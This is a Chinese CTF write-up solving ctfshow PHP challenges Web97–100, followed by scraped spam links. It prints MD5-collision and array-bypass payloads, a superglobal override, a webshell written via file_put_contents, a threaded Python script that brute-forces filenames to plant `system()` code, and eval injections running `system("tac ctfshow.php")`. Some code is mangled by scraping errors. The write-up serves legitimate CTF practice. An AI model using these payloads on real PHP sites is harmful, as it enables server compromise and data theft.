当前位置: 首页 > news >正文

CTFshow系列——PHP特性Web97-100

OK,今天晚上也是给大家带来一篇PHP特性的CTF题目。主要是昨天参加了第三届”陇剑杯“比赛,所以也是没有给大家及时的更新;
过几天就把这次比赛的Web题以及应急响应的两道题目给大家讲解一下。

文章目录

    • Web97
      • 代码分析
      • 方法一:
      • 方法二:
    • Web98(新题型)
      • 代码分析(重要)
      • 流程图
    • Web99
      • 代码分析
      • 网上WP
      • 方法二:时间竞争
    • Web100(新题型)
      • 代码分析
      • **攻击思路**
      • 网上WP思路(本人菜鸡一个,唉)
    • 总结


Web97

话不多说,还是老样子分析代码:

<?phpinclude("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

这里从代码我们可以看到需要我们用POST请求方式填入两个参数ab,并且这两个的md5值需要一样,才可以输出flag;

代码分析

  • if ($_POST['a'] != $_POST['b'])第一个条件。它使用 !=(非严格比较),要求 a 和 b 的值不相等;
  • 第二个条件:它使用 ===(严格比较),要求 a 和 b 经过 md5() 函数处理后的结果严格相等。

方法一:

这个时候,我们就要说到一个知识点了:MD5 碰撞(collision)攻击:

  • MD5 算法存在已知的漏洞,可以找到两个不同的输入字符串,它们经过 MD5 哈希后会产生完全相同的 32 位十六进制字符串。

所以,利用这个特性,我们可以寻找几个md5值相等,但是本身不一样的参数:

md5值相同的两个不同参数:a=TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak
b=TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak

所以我们构造的payload为:

在这里插入图片描述

# payload
a=TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak&&b=TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak

方法二:

  • 漏洞利用
    md5() 函数有一个特性:当它接收到一个数组时,会返回 null。
  1. md5(array()) 的结果是 null
  2. null === null 的结果是 true

因此,你可以构造两个不同的数组,它们的 MD5 散列值都是 null,从而满足 md5($_POST[‘a’]) === md5($_POST[‘b’]) 的条件。

  • Payload 构造
    为了满足 $_POST[‘a’] != $_POST[‘b’] 的条件,你需要提交两个不同的数组。

在 PHP 中,当通过 POST 方式提交 a[] 和 b[] 时,它们会被解析为两个不同的空数组 array()

所以payload可以为:

# payload
a[]=1&b[]=2

同样可以得到flag。


Web98(新题型)

Notice: Undefined index: flag in /var/www/html/index.php on line 15Notice: Undefined index: flag in /var/www/html/index.php on line 16Notice: Undefined index: HTTP_FLAG in /var/www/html/index.php on line 17<?phpinclude("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);?>

根据页面的提示,我们知道flag的位置,但是HTTP_FLAG又是什么东西呢?

代码分析(重要)

这题目是一个典型的 PHP 超全局变量覆盖漏洞,需要你利用 $_GET 变量来控制程序的执行流程,最终读取 flag。

  1. $_GET?$_GET=&$_POST:'flag';

    • 这是一个三元运算符。

    • 问号前的 $_GET 相当于 isset($_GET)。如果 URL 中存在任何 GET 参数,这个条件就为真。

    • 如果条件为真,$_GET = &$_POST 会将 $_GET 变量引用到 $_POST 变量。这意味着,从这行代码之后,任何对 $_GET 的修改实际上都是在修改 $_POST,反之亦然。

    • 如果条件为假(URL 中没有任何 GET 参数),这行代码什么也不做。

  2. $_GET['flag']=='flag'?\$_GET=&$_COOKIE:'flag';

    • 这个三元运算符检查 $_GET[‘flag’] 是否等于字符串 flag
    • 如果条件为真,$_GET = &$_COOKIE 会将 $_GET 引用到 $_COOKIE
  • 关键点:由于第一步已经将 $_GET 引用到了 $_POST,所以这里的 $_GET[‘flag’] 实际上是在检查 $_POST[‘flag’] 的值。
  1. $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';

    • 同样,这个三元运算符检查 $_GET[‘flag’] 的值。

    • 如果条件为真,KaTeX parse error: Expected 'EOF', got '&' at position 8: _GET = &̲_SERVER 会将 $_GET 引用到 $_SERVER

  • 关键点:由于第二步已经将 $_GET 引用到了 $_COOKIE,所以这里的 $_GET[‘flag’] 实际上是在检查 $_COOKIE[‘flag’] 的值。
  1. highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

    • 这是最后一行,也是最终的判断。它检查 $_GET[‘HTTP_FLAG’] 的值。

    • 如果 $_GET[‘HTTP_FLAG’] 等于 flag,就会执行 highlight_file($flag)

  • 最关键点:由于第三步已经将 $_GET 引用到了 $_SERVER,所以这里的 $_GET['HTTP_FLAG'] 实际上是在检查 $_SERVER['HTTP_FLAG'] 的值。

流程图

为了方便大家理解,给大家画了个流程图:
在这里插入图片描述
理论完成,开始实践:
在这里插入图片描述
甚至都不用抓包,flag直接就显示再屏幕上了;

Web99

<?phphighlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){file_put_contents($_GET['n'], $_POST['content']);
}?>

代码分析

老样子,先分析代码:

  1. highlight_file(__FILE__);: 显示当前 PHP 脚本的源代码。
  2. $allow = array();: 初始化一个空数组 $allow。
  3. for ($i=36; $i < 0x36d; $i++):
    • 这是一个循环,从 36 迭代到 0x36d(十进制 877)。

    • array_push($allow, rand(1,$i));: 在每次循环中,一个介于 1 和 i之间的随机数被添加到‘i 之间的随机数被添加到 `i之间的随机数被添加到allow` 数组中。

  4. if(isset($_GET['n']) && in_array($_GET['n'], $allow)):
    • 检查 URL 参数 n 是否存在,并且它的值是否在 $allow 数组中。
  5. file_put_contents($_GET['n'], $_POST['content']);:
    • 如果前面的条件都满足,程序会创建一个文件,文件名是 $allow 数组中的一个随机数,文件内容是 POST 参数 content

网上WP

之后的做法我也是按照网上WP进行操作(不过我问AI,好像还可以时间竞争,但没成功过)

第一步:先创建访问一个新文件2.php,然后POST传入一句话木马方便后续的操作:

在这里插入图片描述

第二步:GET传参改为url/2.php(注意不是url/?n=2.php),然后POST进行命令执行(命令执行不会?看我之前的文章即可)就可以了:

在这里插入图片描述

第三步:查看flag即可——> 查看源代码
在这里插入图片描述
在这里插入图片描述

方法二:时间竞争

说实话,我运行代码的时候没有成功过,各位可以试一试:

import requests
import threading# url换成自己的url
url = "https://bab65f25-7830-4402-a50f-f15e31f94aa8.challenge.ctf.show/"def exploit():for i in range(1, 878):  # 猜测 rand() 可能的值try:get_params = {'n': i}post_content = {'content': '<?php system("ls -al"); ?>'}# 发送请求response = requests.post(url, params=get_params, data=post_content, timeout=1)# 检查响应,看是否成功写入if "system" in response.text:  # 如果看到system这个关键词,说明写入成功print(f"File written successfully with number: {i}")print(response.text)except requests.exceptions.RequestException as e:# print(f"Error: {e}")pass# 创建多个线程来并行执行
threads = []
for _ in range(50):  # 启动50个线程来增加命中率t = threading.Thread(target=exploit)threads.append(t)t.start()for t in threads:t.join()

这个脚本会不断地发送请求,尝试所有可能的随机数。一旦命中,你的 Webshell 就会被写入文件,然后你可以通过访问那个文件名来执行命令。


Web100(新题型)

还是老样子,上代码:

<?phphighlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){if(!preg_match("/\;/", $v2)){if(preg_match("/\;/", $v3)){eval("$v2('ctfshow')$v3");}}}?>

代码分析

  1. $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);

    • 这行代码检查 v1v2v3 是否为数字。这里的 is_numeric() 函数有一个特性:它不仅会判断整数和浮点数,也会将只包含数字的字符串判断为 true
  2. if($v0)

    • 只有当 v1v2v3 都通过 is_numeric() 的检查时,代码才会进入这个条件块。
  3. if(!preg_match("/;/", $v2))

    • 这个过滤器检查 v2 中是否不包含分号 ;
  4. if(preg_match("/;/", $v3))

    • 这个过滤器检查 v3 中是否包含分号 ;
  5. eval("$v2('ctfshow')$v3");

    • 这是漏洞的核心。eval() 函数会执行其参数中的 PHP 代码。
    • 它的参数由三个部分组成:$v2 的值、硬编码的字符串 ('ctfshow'),以及 $v3 的值。

攻击思路

我们的目标是利用 eval() 函数执行一个可以读取 flag 的命令。为了实现这一点,需要构造 v1v2v3,使其满足所有过滤条件。

  1. 绕过 is_numeric()

    • PHP 的 is_numeric() 函数会将十六进制或科学计数法的字符串判断为数字。
    • 例如,is_numeric("0x123")is_numeric("1e3") 都返回 true
    • 你可以使用这些形式来绕过 is_numeric() 的检查,同时在 v2v3 中传递非数字代码。
  2. 满足正则表达式过滤

    • v2 不能包含分号 ;
    • v3 必须包含分号 ;
  3. 构造 eval() 参数

    • 需要让 eval("$v2('ctfshow')$v3") 形成一个有效的 PHP 函数调用。

网上WP思路(本人菜鸡一个,唉)

然后我尝试了一下自己的payload,报错失败。。

?v1=1&v2=system&v3=(ls);
  • 网上方法一
# payload
?v1=1&v2=system("cp+ctfshow.php+1.txt")?>&v3=;

在这里插入图片描述

因为v2,v3不需要是数字,and运算时v0已经计算完毕了
然后访问/1.txt
根据文件提示将0x2d替换成-得到flag

  • 方法二:

简单拼接:
三个参数 v1 ,v2 ,v3,其中v0 实际上只会去判断v1是否为数字 ,因此v1 = 1234 数字即可
拼接起来就是var_dump($ctfshow)/ (‘ctfshow’) / ; 可以执行
v2 也可以用其他显示输出的函数
v2=print_r($ctfshow)/&v3=/;

# payload
?v1=1234&&v2=print_r($ctfshow)/*&v3=*/;

在这里插入图片描述

  • 方法三:

payload为: ?v1=1&v2=system("tac ctfshow.php")/*&v3=*/;

  • /&v3=/ 注释掉V3与(‘ctfshow’) 实际执行结果是v2的内容 先是system(“ls”)
    然后才是system(“tac ctfshow.php”)

在这里插入图片描述

运行后屏幕显示的结果:

} var dalaoA,dalaoA,dalaoA,dalaoB,$flag_is_c5ead3750x2d39510x2d46a50x2d966d0x2d015111cd21db; class ctfshow{ / # @link: https://ctfer.com # @email: h1xa@ctfer.com # @Last Modified time: 20200x2d090x2d21 22:11:52 # @Last Modified by: h1xa # @Date: 20200x2d090x2d21 21:31:23 # @Author: h1xa # 0x2d0x2d coding: utf0x2d8 0x2d*- /*


总结

学海无涯,还是太菜了。


文章转载自:

http://oZZTrxXl.yqpck.cn
http://AsFfwpDu.yqpck.cn
http://lW883Cjx.yqpck.cn
http://zHpCsFd9.yqpck.cn
http://K4dM6Th7.yqpck.cn
http://SytPlZZg.yqpck.cn
http://H2B8opTf.yqpck.cn
http://yTN4F9Ov.yqpck.cn
http://N4REz1Qn.yqpck.cn
http://6HZd0KTI.yqpck.cn
http://iyM2v8p7.yqpck.cn
http://OeBj4qPC.yqpck.cn
http://aaVrx0D7.yqpck.cn
http://A8c1UOV1.yqpck.cn
http://SRa29hrY.yqpck.cn
http://TIiYHaxM.yqpck.cn
http://267dC7Sc.yqpck.cn
http://1JSZiKW1.yqpck.cn
http://nvjTByGW.yqpck.cn
http://2jxZJBxr.yqpck.cn
http://OaoWTShC.yqpck.cn
http://IknzPa0m.yqpck.cn
http://C2yk1t2k.yqpck.cn
http://PBqkIO8x.yqpck.cn
http://tfaKdPGY.yqpck.cn
http://Napyll5x.yqpck.cn
http://gkd65dyA.yqpck.cn
http://2wOJ7ZKI.yqpck.cn
http://DY8eJNqu.yqpck.cn
http://SE6iM1cH.yqpck.cn
http://www.dtcms.com/a/372227.html

相关文章:

  • Python快速入门专业版(九):字符串进阶:常用方法(查找、替换、分割、大小写转换)
  • MySQL 8.0+ 内核剖析:架构、事务与数据管理
  • 11.2.1.项目整体架构和技术选型及部署
  • [C++刷怪笼]:set/map--优质且易操作的容器
  • zotero扩容
  • 20250907_梳理异地备份每日自动巡检py脚本逻辑流程+安装Python+PyCharm+配置自动运行
  • UserManagement.vue和Profile.vue详细解释
  • Python进阶编程:文件操作、系统命令与函数设计完全指南
  • 【redis 基础】redis 的常用数据结构及其核心操作
  • 美团大模型“龙猫”登场,能否重塑本地生活新战局?
  • nats消息队列处理
  • k8s镜像推送到阿里云,使用ctr推送镜像到阿里云
  • Ubuntu Qt x64平台搭建 arm64 编译套件
  • IO性能篇(一):文件系统是怎么工作的
  • SQL Server——基本操作
  • nginx详解
  • 硬件开发1-51单片机4-DS18B20
  • 【LLIE专题】LYT-Net:一种轻量级 YUV Transformer 低光图像增强网络
  • 数据库造神计划第二天---数据库基础操作
  • TypeORM 入门教程之 `@OneToOne` 关系详解
  • 嵌入式解谜日志之数据结构—基本概念
  • make_shared的使用
  • 《九江棒球》未来十年棒垒球发展规划·棒球1号位
  • agentscope1.0安装与测试
  • Shell 脚本自动安装 Nginx
  • 《探索C++11:现代语法的内存管理优化“性能指针”(下篇)》
  • Basic Pentesting: 1靶场渗透
  • NAS自建笔记服务leanote2
  • 对比Java学习Go——程序结构与变量
  • 【JavaWeb】一个简单的Web浏览服务程序